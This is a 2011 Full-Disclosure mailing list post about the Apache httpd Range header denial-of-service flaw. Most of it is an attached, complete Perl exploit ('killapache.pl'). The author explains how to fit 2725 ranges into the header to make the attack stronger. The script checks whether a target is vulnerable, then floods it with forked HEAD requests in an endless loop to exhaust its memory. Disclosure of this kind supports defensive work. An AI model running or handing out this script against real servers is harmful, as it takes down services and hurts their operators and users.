On Mon, Sep 12, 2011 at 11:26 PM, xD 0x41 wrote:
> I know this topic is OLD but, i just wonder and, also having spoken to kcope
> re this myself, discussed the size of each bucket wich can be made to
> stupendous amounts and using a different vector, ok, instead of Range:bytes=
> , picture a GET request with as was shown in the code is there, you
> "Request-Range: bytes=5-,5-69,5-" , now we have bypassed most filters
> already in place, and the request range code, is exactly the same as range
> code.
> Only one person spotted this.

HTTPD advisory was very clear that both Range and Request-Range can be
used. Everyone who unset Range probably unset Request-Range too. If
host is vulnerable its a little better to use Range because using
Request-Range will take 8 bytes more. (more bytes = less ranges)

I have tested a bit the exploit and saw 1300 ranges is just a fixed
number chosen by kingcope but it can be a little bigger. Range field
can be almost 8KB long and its a total waste of bytes to use x-y,
format where y is an increasing number that will take more than one
digit. So instead of 1300 you can get it to 2725 max if you use repeat
x-, where x is always single digit number. By doing that the exploit
gets much more effective.

I have attached the source if anyone cares
#Apache httpd Remote Denial of Service (memory exhaustion)
#Exploit by Kingcope. Concept by Michal Zalewski
#Some modifications by Javier Bassi.
#original code: http://seclists.org/fulldisclosure/2011/Aug/175
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#

use IO::Socket;
use Parallel::ForkManager;

sub usage {
	print "Apache Remote Denial of Service (memory exhaustion)\n";
	print "by Kingcope.\n";
	print "usage: perl killapache.pl <host> [numforks] <page>\n";
	print "example: perl killapache.pl www.example.com 50 index.php\n";
}

$w = "";
$num=0;
for ($k=0;$k<2725;$k++) {
	$w .= ",$num-";
	$num++;
	if ($num == 10)
	{
		$num=0;
	}
}

sub killapache {
use vars qw($w);
print "ATTACKING $ARGV[0] [using $numforks forks]\n";
	
$pm = new Parallel::ForkManager($numforks);

for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next; 	
	
$x = "";
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                     			 Proto    => 'tcp');

$p = "HEAD $path HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$w\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;

while(<$sock>) {
}
 $pm->finish;
}
$pm->wait_all_children;
}

sub testapache {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                     			 Proto    => 'tcp');

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;

$x = <$sock>;
if ($x =~ /Partial/) {
	print "host seems vuln\n";
	return 1;	
} else {
	return 0;	
}
}

if ($#ARGV < 0) {
	usage;
	exit;	
}

if ($#ARGV >= 1) {
	$numforks = $ARGV[1];
} else {$numforks = 50;}

$path = ($#ARGV > 1) ? '/' . $ARGV[2] : '/';

$v = testapache();
if ($v == 0) {
	print "Host does not seem vulnerable\n";
	exit;	
}
while(1) {
killapache();
}
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Reply via email to